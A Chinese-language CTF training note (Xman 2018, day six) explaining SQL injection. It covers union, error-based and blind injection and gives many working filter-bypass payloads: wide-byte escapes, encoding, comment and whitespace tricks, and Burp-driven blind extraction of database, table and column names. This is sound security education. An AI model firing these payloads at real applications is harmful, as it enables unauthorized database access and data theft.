CTF-web Xman-2018 第六天 sql注入
對於新的題目,不能侷限於自己以前的trik,這是一個誤區。其實做題,主要還是看有什麼功能,掃一下路徑和資訊,需要根據它具有的功能來測試可能有的漏洞。
每個惡意的payload都需要我們對測試進行觀察,會有什麼錯誤,為什麼會這樣。猜測後臺程式碼是怎麼寫的。
還有一個需要防範的就是誤導,一個題目很可能偽裝成另外一個題目,而實際上卻是另外的東西。
HTTP協議
對各個欄位的理解,前面也有資料了。https://mp.csdn.net/mdeditor/82797208
url後面?use=123#100 #表示的錨 ,跟服務端沒關係 用來定位顯示的標籤或者行位置的 注入用%23代替# 否則被截斷
前面可以加賬戶密碼 http://[email protected]:127.0.0.1:8080/index.php,這種方式從來沒有聽說過,確實是一個很有意思的東西
host 可以從全域性變數中直接獲取。
SQL注入
這個具體特也不多數,就說一些講到的點,大多數的在前面的注入文章中都有
union 聯合注入
有回顯,直接union select很方便。列需要對齊,所以需要先猜列數。支援填充自己的結果,主查詢得不到結果,子查詢也可以得到結果
報錯注入
雖然會報錯,但語句被執行,會在錯誤的返回頁面提供給我們查詢的結果
盲注
頁面被處理,不會顯示具體的報錯內容,但是依舊會可以得到是否正確,成功失敗兩個頁面是不一樣的。根據一點一段進行測試,比如資料庫的名字的第一個字元是否大於多少小於多少
(substring(database(),1,1))=“a”
也可以ascii(字元表示式)比較ascii
select * from users where user='xx' and pass>'123'
也可以if(1,2,3) 第一個引數為表示式 正確返回2 錯誤返回3
我們也可以通過延時函式自己判斷 sleep(5),頁面延時返回
繞過方式總結(詳細)
1.1常用註釋符:
-- ,--+ ,/**/, #
1.2 大小寫繞過
select * from sql_test where id = 3 uniON sEleCt * from sql_test where id = 2;
1.3內聯註釋繞過
select * from sql_test where id = 3 union /*!select*/ * from sql_test where id like 2;
1.4雙關鍵字繞過
?id=1+UNIunionON+SeLselectECT+1,2,3–
1.5 編碼繞過
雙重url編碼,這個得遇到特殊題目可以這麼做,後臺可能程式碼如下:
$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();
16進位制繞過
select * from sql_test where id = 3 union select * from sql_test where username = 0x74657374;
char繞過
select * from sql_test where username = char(116)+char(101)+char(115)+char(116);
1.6 空格繞過
用雙空格/製表符代替嘗試,用/**/當做空格,用括號包起來進行,用回車代替空格,反引號`的使用
select(id)from(sql_test)where(id=1);
select/**/id/**/from/**/sqp_test/**/where/**/id=1
url中%0a為回車 替換一下
mysql> select
-> id
-> from
-> sql_test
-> where
-> id
-> =
-> 1
-> ;
select username from sql_test where id=1 ; # tab
select*from`sql_test`where`id`=1; #反引號
1.7 等於號繞過
攔截了等於號,我們可以用like去代替:
select * from sql_test where username like 'admin';
1.8 逗號繞過
在使用盲注的時候,需要使用到substr(),mid(),limit;這些子句方法都需要使用到逗號。對於substr()和mid()這兩個方法可以使用from for的方式來解決,limit則可以用offset
' or ascii(mid(username from 1 for 1)='a'
select * from sql_test limit 1 offset 1;
1.9 大於號小於號攔截繞過
在使用盲注的時候,在爆破的時候需要使用到比較操作符來進行查詢。如果無法使用比較操作符,那麼就需要使用到greatest,strcmp,in,between來進行繞過了,這些bool函式我們使用or and等邏輯判斷進行爆破
or greatest(ascii(substr(username,1,1)),1)=97;
or substr(username,1,1) between 0x61 and 0x65
我們可以使用一些邏輯運算,&& || ^來判斷數值 返回的也是bool
1.10 單引號繞過
寬位元組注入 過濾單引號時,可以試試寬位元組
%bf%27 %df%27 %aa%27
%df’ 被PHP轉義(開啟GPC、用addslashes函式,或者icov等),單引號被加上反斜槓\,變成了 %df\’,其中\的十六進位制是 %5C ,那麼現在%df\’ =%df%5c%27,如果程式的預設字符集是GBK等寬位元組字符集,則MySQL用GBK的編碼時,會認為 %df%5c 是一個寬字元,也就是縗’,也就是說:%df\’ = %df%5c%27=縗’,有了單引號就好注入了。
第二欄位逃逸
name = 'admin\' password= ' or(1)#' //輸入引數
sql = "select * from user where name = '' and password = '' " //語句
結果如下:
sql = "select * from user where name='admin\' and password=' or(1)#'"
被註釋 閉合 註釋
最後的形式是 '語句1' or(1)--》語句2 不能使用'的規則被繞過 因為前後兩個引數組合出來了完整的閉合
當一個sql語句,name和password是從一個變數中獲取的,那麼構造引數=/**/or(1)#\
username='/**/or(1)#\' or nickname='/**/or(1)#\'
or(1)#成功逃逸, 前面的自主閉合
%1$吞噬
單引號會被轉義成\',使用
%1$
吃掉後面的斜槓,而不引起報錯
"select * from user where username = '%1$\' and 1=1#' and password='%s';";
雙註釋逃逸
當網站是使用轉義進行過濾時,我們可以手動在加一個轉義
username = 'as\\' or ascii(substr(database(),1,1))=='a'# '
兩次轉義 ’逃逸了
1.11 常用連線語句符號
or,and,union,&&,||,^
這裡尤其注意這些邏輯字元,可以用來繞過=<>等
前面的就不說了
ascii(substr(database(),1,1))^12
if(ascii(substr(database())^123,1,1),'qqq','www')
盲注語句 (%23, --+,)表示註釋
▲left(database(),1)>'s' //left()函式
Explain:database()顯示資料庫名稱,left(a,b)從左側擷取a的前b位
▲ascii(substr((select table_name information_schema.tables where tables_schema=database()limit 0,1),1,1))=101 --+ //substr()函式,ascii()函式
Explain:substr(a,b,c)從b位置開始,擷取字串a的c長度。Ascii()將某個字元轉換為ascii值
▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函式,MID()函式
Explain:mid(a,b,c)從位置b開始,擷取a字串的c位
Ord()函式同ascii(),將字元轉為ascii值
對於mysql資料庫的schema的特殊查詢方式,我們就不在多說,在sql注入小節中已經有詳細的了
表名和庫名可以通過特殊獲取。我們在做注入的時候,需要仔細思考的是怎麼楊繞過waf。嘗試時,使用控制變數法,單獨測試每個特殊的字元,就可以知道什麼被牆了,然後才去相應的方法
資料型別轉換利用
SELECT * FROM users where name='root' | 'a'# 型別轉換後 0|0 字串轉數字變為0 name=0
• SELECT * FROM users where username='a'=0# username!=0
• SELECT * FROM users where username=' '*' '# 相乘也是0
例題(簡單的布林盲注)
先是資料庫長度 as' length(database())=1#
username=as%27+or+length%28database%28%29%29%3d§§%23&password=123
' 空 空 ( ( ) ) = 爆破欄位 //Bp模式numbers 1-20-1
猜解資料庫名稱 as' or ascii(substr(database(),1,1))=10#
username=as%27+or+ascii%28substr%28database%28%29%2C3%2C1%29%29%3D§10§%23&password=234
' 空 空 ( ( ( ) ,3 , 1 ) ) = 10 //同上 區間為1-177
也可以猜測字母更簡直一下 as' or substr(database(),1,1)='§a§'#
獲得了前三個字元為sql,最後一個可以這樣
as' or left(database(),4)='sql§§'#
得到sql1
到資料庫之後,爆破錶。然後就是使用group_concat concat 和limit函式逐條返回資料庫中的表名 判斷長度和字元
lengt(select * from sql1 limit 0,1)# 爆第一個欄位的長度
substr((select * from sql1 limit 0,1),1,1)# 爆第一個欄位的第一個字元
# mysql判斷
length(select table_name from information_schema.tables where table_schema=database() limit 0,1)=5#
# 獲取第一個表名字的長度
# (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))>100#
# 返回第一條表名,判斷第一位的ascii =limit 1,1 控制猜測的表 substr(,1,1)控制猜測的字元位置
例如爆出來表名users,繼續獲取欄位 可以先獲取長度
(ascii(substr((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))>123#
大師傅第二題
過濾了空格,我們可以使用/**/繞過
大師傅第三題
過濾了<>=等,還加了很多的牆,沒有過濾異或^ 。使用if語句
?code=if((select(mid(database(),1,1))),name,price) #可以判斷是否有查詢結果,但是沒有確定的返回值
#我們返現^沒有被過濾,使用異或 對每個字元單個的判斷
if((select(mid(database(),1,1))^xxxxxx),name,price) #如果完全一致就可以返回
# 匹配和不匹配返回的不一樣
關於最後的這兩個方法我想在多說兩句,有些sql注入的題目存在諸多的限制,通過hex函式將返回的數值進行16進行編碼,然後使用^與特定的16進行運算,這種操作也是前不久才接觸到。可以記作一個點吧,但是注意字串的擷取和恢復,因為有時可能無法一次獲得所有資料,我們就需要將截斷之後再hex編碼,有些時候甚至要求更嚴格,我們需要進行兩次hex編碼,得到的數值我們需要逆推得到原來資料,這個地方要細心。
參考文章有的寫得很棒
https://www.cnblogs.com/drkang/p/8644399.html
http://www.cnblogs.com/Vinson404/p/7253255.html
https://blog.csdn.net/whatday/article/details/61912578